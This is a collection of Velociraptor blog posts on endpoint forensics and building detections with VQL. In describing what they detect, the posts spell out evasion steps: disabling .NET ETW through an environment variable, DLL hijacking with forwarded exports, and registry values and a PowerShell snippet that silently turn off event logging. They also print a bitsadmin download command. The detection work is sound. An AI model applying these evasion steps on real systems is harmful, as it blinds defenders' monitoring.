Traditionally, acquiring volatile artifacts meant taking a raw physical memory image, and then analyzing this with a memory analysis framework such as Volatility or Rekall. These frameworks reassemble the contents of physical memory into higher level abstractions, like processes, threads, registry content etc.

While at first it might appear that a physical memory image contains a perfect snapshot of the running state of a system, this is not typically the case. The physical memory image only contains those pages currently locked into physical memory — however, modern operating systems use virtual memory to represent process and kernel memory address spaces. Each virtual memory address may refer to either paged out memory (i.e. only present in the page file) or memory mapped files (i.e. only present on the file system in e.g. dll or executable files), neither of which are typically included in a physical memory image.

Additionally, most physical memory images obtained in a DFIR setting, contains acquisition smear (i.e. the memory is changing during the acquisition process). This smear leads to inconsistencies, making memory analysis from physical memory samples generally a hit or miss affair.

For DFIR purposes it is preferable to extract data directly from the running system, rather than rely on fragile memory analysis. For example, to obtain a list of processes, it is always more reliable to use the system APIs than to take a full memory image, ship it off the endpoint, and then use a framework like Volatility to extract the same data from the raw image.

Many of the same techniques implemented in Volatility for physical memory analysis can also be implemented directly on the endpoint using OS APIs. Velociraptor already contains plugins such as “vad”, “pslist”, “modules”, “handles”, “objtree” etc.

Consider the identification of malicious processes running in memory. Many modern tools use memory only injection, where malicious code is added to processes but is never written to disk. Detecting this type of malware requires inspection of process memory using for example a Yara signature.

For example, Malpedia contains Yara signatures for common malware families derived from automated identification of common code blocks. We can apply these signatures to detect memory injected Cobalt Strike beacon by simply scanning each process address space and reporting any hits.

Velociraptor included bindings to libyara’s process scanning capabilities for a while now, exposed through the VQL plugin proc_yara() and usable through artifacts such as Windows.Detection.ProcessMemory.CobaltStrike.

Direct access to process memory

Since release 0.5.8, Velociraptor provides direct access to process memory via the “process” accessor. This allows any plugins and functions that normally operate on files to also operate on process memory, as if the process memory was just another file.

To demonstrate this new accessor, I will write “this is a test” in notepad without saving the file on disk (so the string exists only in memory). I will then write some VQL to detect this string in the process memory of notepad

In the above example, I am iterating over all processes with a name matching “notepad” and then applying a yara signature over their process address space. The “process” accessor allows me to open the process represented by the filename “/” as if it was a file. The yara() plugin (which normally operates on files) will just see process memory as another file to scan.

I can then also extract some context around the hits to see if the hit is a false positive.

Determining process environment variables

When a process is launched it receives environment variables that often affect the way the launched program behaves. I was curious to see if it is possible to determine the environment variables that a process is launched with?

On windows, each process is started with a Process Environment Block. This data structure is populated by the OS before the process is created and contains important information about the process. Processes can extract this information at runtime. The process environment variables are stored in the PEB too and therefore we can parse these out from each process’s memory.

Velociraptor has a powerful binary parser built in, as was described previously in the post “Parsing binary files”. Having the process memory exposed via an accessor allows us to apply this parser to process memory via a VQL query.

If you are interested in the details, check out the VQL for the Windows.Forensics.ProcessInfo artifact here, but here is the result of collecting the process information (including each process’s environment variables) from my system

Detecting ETW subversion.

Recently I read Adam Chester’s blog post where he described his finding that the .NET ETW provider can simply be disabled by setting the COMPlus_ETWEnabled environment variable to 0. This is dramatically demonstrated by using process hacker to inspect the .NET assemblies of a powershell process.

When the COMPlus_ETWEnabled environment variable is set to “0”, process hacker will be unable to inspect the loaded assemblies, since it relies on ETW support to do so and this is disabled within the running powershell process.

While this anti-detection technique is very simple for attackers to implement — they simply set an environment variable before launching the target binary, it should be very easy for us to detect it, using the following heuristics:

Iterate over all processes, and
if any process has an environment variable starting with “COMPlus_” then it is suspicious.

Our VQL can take advantage of the existing Windows.Forensics.ProcessInfo artifact and simply inspect each process’s environment dictionary

In the above query we extract each process and its environment dictionary from the Windows.Forensics.ProcessInfo artifact, then iterate over each key and value using the items() plugin, filtering any keys beginning with “COMPlus”.

To convert this VQL into a detection, we now encapsulate the query in an artifact and hunt all our endpoints for processes that have the environment variable set. In practice, there should not be any legitimate reason to switch off the .NET ETW provider, so if we see this variable set in the environment, it is a very strong signal and requires further investigation.

Conclusions

This post introduced the “process” accessor, which exposes process memory to all VQL plugins that can usually access files. The process accessor allows us to implement memory analysis techniques on running processes in real time, safely, quickly and reliably, without needing to resort to acquiring and analysing full physical memory images. This provides unprecedented visibility into the state of the endpoint and forms the basis for novel detection and hunting possibilities.

To use this feature yourself, take Velociraptor for a spin! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord

Digging for files with Velociraptor

Sat, 13 Feb 2021 00:00:00 +0000

One of the most common questions in digital forensics is:

Is a file with a specific filename currently present on this system or was it in the past?

There are many scenarios that lead to this question, from theft of IP by rogue employees, to drive by downloads from malicious websites or even victims of phishing emails. Often we need to scope this question to the entire network (Which machines had this file?) or potentially 10s of thousands endpoints.

This post recounts some of the techniques we can use within Velociraptor to answer this question. Most of these techniques should be very familiar to DFIR practitioners, but we will discuss how they are implemented in Velociraptor specifically.

For this post I will create a text file with a unique name Abagnale.txt and I will attempt to find it on my test system.

Searching for files using Windows.Search.FileFinder

The first artifact we can use to search for files is the aptly named FileFinder artifact (There are variants for Linux/MacOS and Windows). I will simply add a new collection, search for the file finder and select the Windows.Search.FileFinder.

Next I will configure the artifact parameters.

The FileFinder artifact uses a glob expression to find files through the filesystem. A glob expression uses simple wildcards to match files by filename. In Velociraptor a ** glob expression means recursively descend into subdirectories, so in our case the glob expression C:\**\Abagnale* will enumerate all files in the C: drive to locate the file of interest.

Globbing through all files took 109 seconds on my test VM and returned two hits (my original text file and a lnk file created by notepad itself):

Scanning the Master File Table

On Windows, the NTFS filesystem is almost ubiquitous. NTFS uses a special hidden file called the $MFT to store all metadata on all files (such as their filenames, size, dates etc). Metadata is stored in the $MFT within MFT entries — fixed size data structures stored back to back in the $MFT file.

Therefore, by scanning the $MFT file and parsing all MFT entries, we are able to enumerate all files’ metadata on the disk.

Velociraptor offers an artifact called Windows.NTFS.MFT that will enumerate all entries within the $MFT filtering out only the relevant ones.

I will again proceed to configure the artifact parameters. This time I am able to filter the filename by a regular expression. I will just search for all files with filenames containing the word Abagnale .

Again this artifact found the same 2 files as the previous one

So how is the MFT search method different from the Glob method?

Parsing the MFT tends to be faster than using the APIs in a glob when searching over the entire disk (87 sec vs 109 sec), although if you know that the files can only be in a more confined part of the disk (e.g. inside the C:\Users directory) then the glob method is faster since it is looking at fewer files.

However, the MFT search may be able to detect deleted files. When a file is deleted in NTFS the MFT entry is marked as unallocated and can be reused at any time, but until it does, the old data structures are still present and will be parsed by the MFT parser.

Additionally the MFT parser has access to the $FILENAME stream’s timestamps and so can report those as well. Timestamps in the $FILENAME streams (Shown in the above results as Created0x30, LastModified0x30 etc) can not be altered by timestomping tools and so are more reliable indicators of when the file was created or modified.

Searching the USN journal

While the previous two methods were great for detecting files that are currently present on the endpoint, what if the file was since deleted? I mentioned that the MFT parser may still find evidence of a deleted file in unallocated MFT entries, but this will only happen if the entry is not reused by the system for something else.

Luckily, Windows keeps another record of file operations in the NTFS USN journal. I wrote in details previously about the USN journal but for our purposes it is sufficient to know that file operations are continuously written by the system into a journal file internal to the NTFS filesystem (so it is not generally altered by adversaries).

Velociraptor contains a built-in parser for the USN journal which is made available via the Windows.Forensics.Usn artifact. I will select this artifact for collection as before

I now select “Configure Parameters” where I can specify a path regular expression.

This time the artifact returns 7 rows in 29 seconds

Let’s take a look at the rows returned from this query

Since the USN journal stores metadata about file operations, we see each time the file was interacted with by a program. This is not exactly the same as the previous results which just show the final state of the file.

For example, if the file was edited at one point in time and then edited again at a later time, the USN journal will show 2 separate interactions with the file, but the previous artifacts will only show the last modified time. This can be significant for some investigations, in particular if the file is deleted.

Typically we find the USN journal is kept for around 2–3 weeks by the system, providing excellent visibility of past activities.

Hunting the entire network

Previously we collected the artifacts on a single host. However, in some investigations we need to determine if any machine in our network contains the file in question.

Velociraptor hunts are specifically designed to coordinate collections of the same artifact across the entire fleet. I will create a new hunt and give it a description, then proceed to select the Windows.Forensics.Usn artifact configuring its parameters as before.

Running the hunt over a small network returns results within minutes

While it may seem that a USN journal scan of an entire network is an expensive operation, in reality it places very little load on the server.

The server simply collects the result sets from running the VQL query across each endpoint in the deployment. Since these artifacts are highly targeted in returning only positive hits for the files in question the total number of rows returned is pretty small. In this hunt, most of the heavy lifting is done by the endpoints themselves — this is the secret for Velociraptor’s scalability!

Conclusions

In this post we looked at some of the common ways to determine if a file was present on a system. Each method has advantages and disadvantages and this article explored when you should use one method over another. You can of course, just use all methods at the same time, and interpret their results accordingly.

All the described methods are very quick ranging from under 30 seconds for a USN journal scan, to a couple of minutes for a large glob operation. Using Velociraptor we can perform an exhaustive search of a large 10–20k endpoint deployment in minutes. This unprecedented agility and scalability is rather unique in an open source DFIR tool.

To play with these artifacts yourself, take Velociraptor for a spin! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord

If you want to know more about Velociraptor, VQL and how to use it effectively to hunt across the enterprise, consider enrolling for the next available training course at https://www.velocidex.com/training/.

Migrating from OSQuery to Velociraptor

Wed, 03 Feb 2021 00:00:00 +0000

Tips for the journey

OSQuery has been around for a while now, and was actually the initial inspiration for Velociraptor. Back in the day, it became clear to me that the way to provide unprecedented flexibility for endpoint visibility was to have a flexible and powerful query language. OSQuery was historically a proof that a powerful query language was the way forward, and VQL was designed to improve on OSQuery and push the state of the art.

Many new Velociraptor users have existing OSQuery queries and installations and are migrating to Velociraptor for powerful and efficient endpoint visibility. I have written previously about Velociraptor’s OSQuery integration, allowing OSQuery queries to run directly inside Velociraptor.

This integration, however, is simply a stopgap measure during migration. It is much better to write VQL queries within Velociraptor, since VQL is much more powerful and also much faster.

This post aims to help this migration by comparing typical OSQuery queries with native VQL Velociraptor queries. This side by side comparison hopefully sheds some light on VQL and will encourage you to start writing new VQL artifacts.

This post does not compare the scalability, ease of deployment and management GUI of OSQuery‘s various fleet implementations with Velociraptor’s — we only look at the query language itself.

The file table

One of the most often used OSQuery table is the file table. For example we can see information about a file:

SELECT * FROM file WHERE path = "C:\Windows\notepad.exe";

Because OSQuery uses SQL as its underlying implementation, there is no way to tell the query that it is only interested in a single file (A naive implementation would scan all files on disk and compare the path by the condition eliminating all but one — a very expensive approach!).

To avoid a full scan of the filesystem, OSQuery peeks at the WHERE clause to figure out what it needs to do. It is therefore required that a WHERE clause is provided and the path or directory be restricted in some way.

Compare this to VQL. The main realization in VQL was that unlike in a relational database, tables are implemented by code, the code must be able to accept arguments. Therefore VQL’s syntax requires “tables” to take arguments (in VQL these are termed plugins):

SELECT * FROM glob(globs="C:\\Windows\\notepad.exe")

The VQL equivalent to the file table is the glob() plugin, which accepts a glob expression (i.e. wildcards) to search the filesystem directly. (Note also that VQL does not use a semicolon ; as a statement separator — it is not needed, just string multiple statements together).

So far both queries simply return a single row for a specific file. OSQuery allows us to specify a wildcard for filenames as well, however it uses the SQL like syntax. For example to return all dlls in the system32 directory:

SELECT * FROM file WHERE path like "C:\Windows\system32\%.dll";

The equivalent VQL is

SELECT * FROM glob(globs="C:\\Windows\\System32\\*.dll")

You can test the VQL in the Velociraptor notebook right in the GUI. Simply select Notebooks from the sidebar and add a new notebook. Click on the top cell and add a new VQL cell where you can write arbitrary queries.

You can also test OSQuery in the notebook cell by simply invoking the Windows.OSQuery.Generic() artifact (In this case Velociraptor will shell out to OSQuery and collect the results).

If you tried this you would immediately see a difference in performance — the VQL example took less than a second to return 3384 rows while OSQuery took over 6 sec to return the same data. While 6 seconds is not too bad, this gets worse when we try to fetch more dlls from the disk…

In VQL we can use ** to denote recursive glob wildcard. This time the query took 2 seconds and returned 4090 rows.

OSQuery uses %% for the same purpose. However OSQuery only allows a recursive wildcard at the end of a LIKE string (see discussion here), so we need to break up the condition into a more complex query with two conditions.

This time OSQuery takes 52 seconds to return the same number of rows. If you keep an eye on the task manager you would also see an increasing memory footprint for OSQuery because it queues up all rows in memory before returning them, so the more rows it returns the more memory it uses. If we now increase the size of the glob, to return all dlls on the system the query times out without returning any data at all!

The timeout is imposed by Velociraptor’s OSQuery integration. This is another interesting difference between OSQuery and VQL — VQL has active query cancellation, and a timeout after which the query is cancelled (In this case the VQL that shells out to OSQuery has timed out and actively killed the OSQuery process after 10 minutes).

This makes running larger queries much safer as it provides an upper bound on the amount of resources taken on the endpoint. Once this bound is exceeded, the query is terminated.

Running a similar query with Velociraptor is much faster returning 64k rows in 66 seconds.

Performance issues in the OSQuery file table have been discussed previously (see https://blog.kolide.com/the-file-table-in-osquery-is-amazing-99db0f52a066) and the advice is to just be more targeted in your queries, however if you need to know if a file exists anywhere on the disk then an exhaustive search is necessary.

Although being targeted is helpful, With VQL we can confidently run the exhaustive search because VQL has our back, in case our queries are more expensive than expected. VQL is designed to deal with many rows (e.g. the Windows.NTFS.MFT Artifact can return the entire contents of the MFT which can be around 400–500k rows within a couple minutes). VQL queries stream their results as soon as possible, so Velociraptor can maintain a low memory footprint even for very large result sets (typical memory footprint is 50–100mb).

NOTE: VQL does not use the like keyword as in SQL. Instead VQL has the =~ operator which means a regular expression match. SQL’s like syntax is archaic and much less powerful than a simple regular expression.

The following selects all user details for usernames matching “user” followed by a digit.

SELECT * FROM Artifact.Windows.Sys.Users() WHERE Name =~ "user[0–9]"

Queries and Artifacts

One major difference between OSQuery and Velociraptor is that Velociraptor does not usually directly run queries on endpoints. Instead, a VQL query is wrapped in an “Artifact” — a specially formatted YAML file which is stored within the Velociraptor server. Artifacts make queries discoverable and allow for queries to be shared with the community. Once an artifact is written, the user does not need to worry about remembering or entering a query.

Artifacts can also be directly used within another VQL query. This allows VQL to encapsulate a complex algorithm, but at the same time, users can easily build on top of this.

In contrast OSQuery uses hard coded internal tables to provide a lot of functionality requiring c++ coding to add a lot of simpler functionality to the tool.

Let’s consider the OSQuery chrome_extensions table — this table allows us to list all the chrome extensions installed by all users on the system. The query simply extract all rows but the actual logic of extracting and decoding the chrome extension data is hard coded inside OSQuery.

On the other hand, Velociraptor’s Windows.Applications.Chrome.Extensions artifact is written in pure VQL (see the source code here). You can view the artifact in the GUI by selecting the “View Artifact” screen from the sidebar. Note that artifacts can take parameters — in this case the artifact allows the user to adjust where the chrome extensions folder can be found.

You can just call another artifact seamlessly from VQL as if it was just another plugin.

This feature encourages users to develop reusable VQL Artifacts that can be put together like Lego bricks. Additionally, since artifacts are just VQL queries it is possible to add new capabilities to the tool with just a simple query — no need to write new tables in c++ like in OSQuery.

VQL provides very flexible primitives that can be much lower level than OSQuery. For example, a binary parser is provided built into the language, thereby allowing users to parse arbitrary files in their queries. The additional flexibility means that even complex functionality can be implemented entirely in VQL.

As a VQL query writer, seek to utilize one of the hundreds of built in artifacts in your queries. There are many artifacts that are functionally equivalent to OSQuery’s tables, but are written in VQL (So you can just customize them as well). If you come up with interesting artifacts, please share them with the community either by sending us a pull request on GitHub or hosting the YAML yourself.

Joins and foreach()

Many newcomers to VQL look for the familiar SQL constructs like JOIN. However, VQL does not use joins at all, keeping the language simpler. In my experience SQL joins are confusing and difficult for people to really understand (quiz: what is the difference between a left join, right join, cross join, inner join and outer join?).

Since VQL can provide parameters to plugins, we can create a plugin which takes another query as a parameter. This is the fundamental idea behind the foreach() plugin (I wrote about it previously). The foreach plugin accepts the “rows” parameter and the “query” parameter. It simply runs the “rows” query and for each row it produces, the plugin evaluates the “query” query and emits the results.

Let’s take a simple example: an OSQuery query designed to display information about specific chrome extensions.

This OSQuery query joins the users table and the chrome_extension table to fill information about the user

The equivalent VQL simply runs two queries — for each row emitted by the Windows.Applications.Chrome.Extensions artifact that matches the extension of interest, we iterate over all the users, and select the user record of the user matching the relevant record so we can display its UUID.

The VQL syntax is a lot of more readable without using a join statement. VQL also supports stored queries (similar to stored procedures) which take parameters and encourage query reuse.

A more refined query might use variables to store subqueries and then simply call them:

Conclusions

This post described some of the more obvious differences between OSQuery and Velociraptor. To summarise

The OSQuery file table equivalent is the VQL glob() plugin. Glob takes a glob expression as a parameter. Glob expressions use * and ** as wildcard instead of % or %%.
VQL does not have a like operator, instead using the regular expression operator =~
The Glob plugin is much faster than the OSQuery file table and there are no restrictions on where a recursive wildcard goes.
VQL queries time out by default after 10 min so there is no danger of overrunning the endpoint. If you prefer low and slow approach it is possible to rate limit the VQL query as well as increase the timeout.
Artifacts are YAML files that encapsulate VQL queries. Velociraptor does not directly collect VQL queries on the endpoint — you need to create an artifact first.
If you previously reached for an OSQuery table that provides the data you need, simply look at existing VQL Artifacts that do the same. If there are none available, you can add your own Artifacts in a modular way in the GUI (without needing to rebuild clients or servers).
VQL does not use join, instead the foreach plugin provides the same functionality in a clearer way. Foreach also takes the workers parameter allowing it to run concurrently on multiple cores.

Users who are currently migrating from OSQuery can still reuse the existing investment they have in OSQuery queries directly in Velociraptor, but I hope this article convinced you that it is well worth porting your existing queries to native Velociraptor VQL to take advantage of the flexibility and performance enhancements that Velociraptor offers.

The above example is just one of the exercises we do in our hands on Velociraptor courses. If you are interested in learning more about Velociraptor, check out our hands on training courses on https://www.velocidex.com/training/ or check out the code on GitHub. To chat, please join us on discord https://www.velocidex.com/discord.

Detecting DLL Hijacking With VQL

Tue, 02 Feb 2021 00:00:00 +0000

One of my favorite pastime is reading Twitter and following other security researchers. I love being able to see a new tool or technique and develop an understanding and detections for it. A while back, I was reading my feed and saw an excellent article titled I Like to Move It: Windows Lateral Movement Part 3: DLL Hijacking.

The article describes an interesting form of lateral movement — DLL Hijacking. DLL Hijacking is an abuse of the Windows DLL search order resolution process. Typically, when an executable is started, the executable will declare dependent DLLs in its import table. Windows will search for these DLLs in a number of paths, until a suitable DLL is found, and its exported symbols will be resolved into the new image. DLL Hijacking works by placing a malicious DLL, with the same name as a legitimate DLL, in a directory that is searched earlier, thereby tricking the loader into loading the malicious DLL instead of the legitimate one.

DLL Hijacking is often used for persistence — simply place a malicious DLL earlier in the search path, and programs that are started (potentially with higher privileges) will load the malicious DLL, thereby granting execution.

In the above article an interesting approach is described to escalate privileges or laterally move to a remote system — simply write a malicious DLL using e.g. SMB on the target machine, and wait until a user or process on the remote machine runs the vulnerable program.

Actually getting DLL hijacking to work successfully is quite tricky. The details are described well by Nick Landers in Adaptive DLL Hijacking which presents a number of approaches.

One of the simplest technique, is to simply create a DLL with a bunch of forwarded functions. Normally a DLL contains an Export Table, listing all the functions it exports. However sometimes, the need arises to legitimately forward an export that would normally be found in one DLL to another DLL (e.g. in the case where a DLL was refactored this allows replacing the dll without rebuilding programs that depend on it).

In this case, the export table contains a forward entry — i.e. it forwards the loader into another DLL. Nick Landers published a tool to help build such a dll https://github.com/monoxgas/Koppeling

Example Injection

I will use the Koppeling tool above to build a simple DLL forwarder as per the example in the repository.

Parsing the DLL

Velociraptor has a function that allows parsing a PE file, lets see what information is available — Simply use parse_pe() on the injection file.

We see that although the file is called wkscli.dll it really is kernel32.dll (since we have modified its exports to forward to the original wkscli.dll residing in C:\Windows\System32).

While it is normal for a dll to forward to another dll, it is very unusual for a dll to forward to another dll of the same name. So I think a strong signal for a potentially hijack dll is one that contains forwards to another dll with the same base name.

As usual I created a Velociraptor notebook and developed the VQL within it. The full query I entered in the notebook cell is shown below:

LET Glob = '''C:\windows\**\*.dll'''

-- Apply the glob to search for matching DLLs.
LET DLLs = SELECT FullPath, Name, parse_pe(file=FullPath).Forwards AS Forwards,
     lowcase(string=parse_string_with_regex(regex="^(?P<BareName>[^.]+)", string=Name).BareName) AS DLLBareName
FROM glob(globs=Glob)
WHERE NOT FullPath =~ "(WinSXS|Servicing)"

-- For each DLL, extract the forward strings.
SELECT * FROM foreach(row=DLLs, workers=20,
query={
  -- For each forwarded export, split the string into
  -- a DLL path and export name
  SELECT FullPath AS DllPath, ForwardedImport,
         Parse.DllPath AS DllImportPath,
         Parse.Export AS DLLExportFunc,
         DLLBareName,
         basename(path=lowcase(string=Parse.DllPath)) AS ExportDLLName
  FROM foreach(row=Forwards,
  query={
      SELECT parse_string_with_regex(
          regex="(?P<DllPath>.+)\\.(?P<Export>[^.]+$)", string=_value) AS Parse,
          _value AS ForwardedImport
      FROM scope()
  })
  -- Only select forwarded functions that forward to the same dll name.
  WHERE ExportDLLName = DLLBareName
})

First I search for all DLL files in the provided glob (excluding winsxs and servicing directory). I also lowercase the name of the dll and strip the extension.
For each DLL I parse out the forwarded functions and use a regular expression to split the string into a target DLL and an exported function.
I then filter all rows to show only those with the target DLL the same as the name of the dll itself.

Testing the VQL

I copied the hijack DLL I created with Koppeling into the Windows directory. I then created an artifact and collected it on my VM. I chose to recursively scan all dlls in the windows directory to get an idea of the performance impact.

Velociraptor reports all forwarded functions that target a DLL with the same name as the one it is currently parsing. Velociraptor parsed about 9000 Dlls and took 62 seconds to find the one injection dll and one false positive (C:\Windows\SysWOW64\rpcrt4.dll).

Conclusions.

This quick VQL is only suitable to detect one type of DLL hijack — one using forwarded functions. There are many other types of hijacking which might be more difficult to detect (more are discussed in the paper above). It is also possible to detect dll injection after the fact (by looking at loaded DLLs in process memory images), but this query is looking for “time bombs” — simply files that stay on the endpoint until a time in the future where they allow reinfection or escalation.

In this exercise we went from a blog post and a POC tool to a detection artifact in a short time, and were able to easily deploy and subsequently hunt for these.

Disabled Event Log files

Fri, 29 Jan 2021 00:00:00 +0000

Detecting malicious activity with Velociraptor

Photo by Jonny Caspari on Unsplash

Photo by Jonny Caspari on Unsplash

Windows information security techniques are heavily reliant on the availability and integrity of event logs. Many state of the art systems use event log forwarding to aggregate information from endpoints and detect malicious behavior across the enterprise.

But how reliable really are event logs? I was playing around with the Windows Event Viewer to understand how event logs can be interfered with in practice. We previously covered the general structure of the Windows Event Log system, so you might want to have a quick read of that post before you dive into this one.

Example: BITS transfer

For this post I will use the example of a BITS transfer using bitsadmin.exe. BITS is a transfer service built into the Windows operating system, normally used to fetch windows (or application) updates. However, is it also commonly used by threat actors to deliver malicious payloads because BITS is typically trusted by endpoint tools (since it is a standard windows service). See Mitre Att&ck T1197.

For this test I will use bitsadmin to download a page from the internet and store it on the filesystem. By default, the BITS service will generate several log messages in the log file %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx as shown in the screenshot below

The command I will run fetches a file from the internet and stores it locally

bitsadmin.exe /transfer /download /priority foreground [https://www.google.com](https://www.google.com) c:\Users\test\test.ps1

Many tools rely on the presence of these eventlog messages to escalate an alert for this malicious activity.

While I was playing with this technique I noticed an interesting option in the Windows Event Viewer: disabled Log available by simply right clicking on the log file.

Sure enough when the log file is disabled, no events are recorded in the event log at all! Any solutions that rely on detecting event logs will be completely blinded by this setting!

What does this setting do?

I wanted to know if I can detect when a log file was disabled on an endpoint. My working hypothesis was that this UI would change some registry keys and I know how to collect those!

I started up procmon and clicked the button to disable the log. After some applications of filtering I was able to narrow it down to the following value HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Bits-Client/Operational\Enabled which is set to 0 for disabling the log file.

Detecting this setting

Ok, great, I want to write a Velociraptor artifact to detect the state of log files. To develop the required VQL I will create a new notebook and simply write the VQL in it.

In this query we glob for all keys within the registry query above and extract the channel name (as the name of the subkey) and the Enabled valued. For the sake of simplicity I filtered the above to only examine the bits channels we are currently interested in.

Other avenues

Running the above query shows all the channels (i.e. log files) that are disabled, but there are other ways to disable logging.

Lets look back at the procmon output above we see another interesting value is being set

What happens if we change this Enabled value to 0? Lets try this, and reboot…

This time logging is also disabled, but the log file is showing as enabled!

This second registry key disables the provider itself, while the previous method disables the channel (log file). The GUID in the registry key corresponds to the provider name. As described in our previous article the provider name can be derived from the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\ which can be used to resolve the GUI to a name

Let’s write some VQL to display the Enabled status of the BITS provider.

This VQL also resolves the GUID to a provider name via the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\ key as well as showing the modification time of the registry key in question.

Converting to an artifact

Armed with the above VQL queries, we can now write an artifact that collects this information from the endpoint. I also added some potential filters to make my artifact more targeted for hunting. You can see the full source of the Windows.EventLogs.Modifications artifact here.

Let’s see all the logs that were disabled or enabled in the past day

Within 2 seconds we see that the BITS admin channel was manipulated within the previous day

And the provider was also disabled very recently.

Next stop is to perform a hunt across my enterprise and look for recently modified channel settings, as well as stacking across my endpoints to see which log channels are disabled on few machines but are generally supposed to be enabled.

In the above screenshot I ran a hunt on about 100 endpoints which have the default enabled logs, and a single endpoint with that log disabled. The stacking operation (GROUP BY) immediately reveals the outliers.

Conclusions

This was a fun little exercise in trying to understand event logging in Windows. Adversaries often just disable logs during the period of their activities, so solutions completely dependent on log files are very vulnerable to these techniques.

Velociraptor’s power is in being able to quickly and easily recover forensic evidence on activity on the endpoint. In most environments disabling log file or providers is not a legitimately common, so hunting for such activity produces high value signals and leads to a better understanding of how attackers are able to hide their tracks.

The above example is just one of the exercises we do in our hands on Velociraptor courses. If you are interested in learning more about Velociraptor, check out our hands on training courses on https://www.velocidex.com/training/ or join us on discord https://www.velocidex.com/discord.

P.S.

You can automate event log enable/disable using the following powershell

$logName = ‘Microsoft-Windows-DNS-Client/Operational’
$log = New-Object System.Diagnostics.Eventing.Reader.EventLogConfiguration $logName
$log.IsEnabled=$true
$log.SaveChanges()

Concurrent VQL

Fri, 22 Jan 2021 00:00:00 +0000

Velociraptor’s special source is really the Velociraptor Query Language (VQL). Using VQL allows administrators to query their endpoints and respond to new threats quickly and flexibly.

VQL was always intended to be a simple query language which users could pick up in a matter of hours, while being powerful at the same time. We never intended VQL to be a full blown programming language. Nevertheless, performance is a critical feature of VQL, simply because queries typically need to process large amount of data quickly. The challenge is how to expose powerful multithreaded programming concepts to VQL’s simple model of operation.

In this blog post we explore one of the new performance features that allow users to harness the full processing power of their platform.

Simple example: hash every file

Let’s consider a simple use case — hash every file on the system. I wrote a simple query to simply glob recursively through the filesystem, and for each file found calculate its hash.

To test this query I ran it in a notebook within the Velociraptor GUI.

This query is simple to understand, and fits the mental model of VQL: The glob() plugin searches the filesystem for files matching the glob expression (wildcards) and emits a single row per matched file. The query then processes each of these rows and passes the path to the hash() function which returns the hash.

When I ran the above query on my system, I kept an eye on my CPU activity monitor applet and I could see a single core spiking, but most of my other cores were idle (This is a 24 core machine).

After a while, the query completes and I get the results (There were 4700 files hashed) and it took 46 second overall.

While this is satisfactory, I was a bit worried about my idle cores . This simple query was unable to fully utilize the processing capacity of my machine because the query was essentially sequential — each row was hashed in turn, before hashing the next row.

In this case, 46 seconds is not too bad, but if I wanted to hash the entire hard disk (as opposed to the /usr/bin directory) it could take a very long time.

Run the hash in parallel

My query receives its file names from the glob() plugin which is very fast — clearly the performance blockage in my query is the hash function which is CPU intensive. I would therefore love to have a hash operation sent to each core in parallel, then all my cores will be recruited and the query will run faster.

Since Velociraptor 0.5.5, the foreach() plugin has an additional “workers” parameter. Readers who use Velociraptor extensively are familiar with the foreach() plugin, as it is probably the most common plugin in use. We also covered it in detail in an earlier blog post, here.

In a nutshell, the foreach() plugin takes 2 parameters. The “row” parameter is another query which will be run, taking each row produced by it. The “query” parameter is another query which will be evaluated with a nested scope containing the row obtained (Conceptually, the foreach plugin acts in a similar way to the SQL JOIN operator).

For example the above query can be refactored to

The “row” query simply calls the glob() plugin and extracts the FullPath of each file matching the wildcards. The foreach() plugin will take that row and evaluate the query on the scope (therefore evaluating the hash() function).

This still does not buy us very much because each row is still processed in sequence one after the other.

In 0.5.5 the foreach() plugin has the “workers” parameter: This allows the plugin to create workers in a pool, and send them each row in parallel. While the “row” query is still evaluated sequentially, the “query” query will now be evaluated on a worker pool in a separate thread.

This time when I run the query, my CPU load applet lights up — all cores are busy!

The same query now takes 6 seconds instead of 46 seconds! A factor of 8 times faster.

This query was particularly suitable for parallelization because the CPU intensive operation was done on each row (hashing) but generating the rows themselves is very quick (globbing).

Other use cases

In 0.5.5, Velociraptor’s offline collector now uses the above technique to upload multiple files simultaneously into the collection Zip file. Coupled with a multithreaded Zip writer implementation this allows parallel compression of many files at once — speeding up acquisition on most machines. The below screenshot shows the collector making good use of CPU resources during acquisition with a significant speed up.

Thoughts about design

Many users when they first are introduced to VQL ask me about the “query optimizer/planner”. I guess this is because VQL is very similar to SQL in syntax. However, VQL does not have any query rewriting behind the scenes — with VQL what you write is what you get!

I feel that having some magic box rewrite your query behind your back is suboptimal — people have to constantly run “explain” to try to figure out what the optimizer/planner is going to do to their query and then try to rewrite their query in non-obvious ways to provide hints to the optimizer to get it to do what they actually wanted it to do. This adds complexity to the language and makes it more difficult to use.

In VQL, if you wanted more performance, you can do it by structuring your query — Velociraptor is not going to second guess what you wanted to do.

Additionally, extra performance may not always be what you want. If my goal was to hash the entire filesystem on an endpoint, I typically do not want the endpoint to use all its resources, because this may negatively impact the end user. For a machine with many cores, having a single core hash every file for a few hours is much less impactful or noticeable than all cores saturating, even for a short time.

For these reasons parallelism in VQL is opt in — users have to structure their query to take advantage of it. The language remains simple and easy to use with a predictable model for how it works.

To play with this feature yourself, take Velociraptor for a spin! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord

Parsing binary files

Tue, 19 Jan 2021 00:00:00 +0000

During the course of our DFIR work, we typically need to extract some information from endpoints from various files and registry keys on the system. Sometimes it is possible to extract the needed information using text processing tools — such as a regular expression applied on a configuration file.

In many cases however, the information we need is encoded inside a binary file. A large part of DFIR analysis involves parsing binary structures from files, registry keys and even event logs.

While it is always possible to write a dedicated parser for whatever file format we are interested in, this leads to operational complexities — if we download an adhoc parser for a particular file format, how do we push new program or script to the endpoint? how to ensure it has any dependencies (e.g. Python, .NET etc)?

The entire premise of VQL is that users should be able to rapidly issue new queries to the endpoint, in a consistent and easy to learn way. Wouldn’t it be great if users can parse binary files directly in VQL without needing to use external programs?

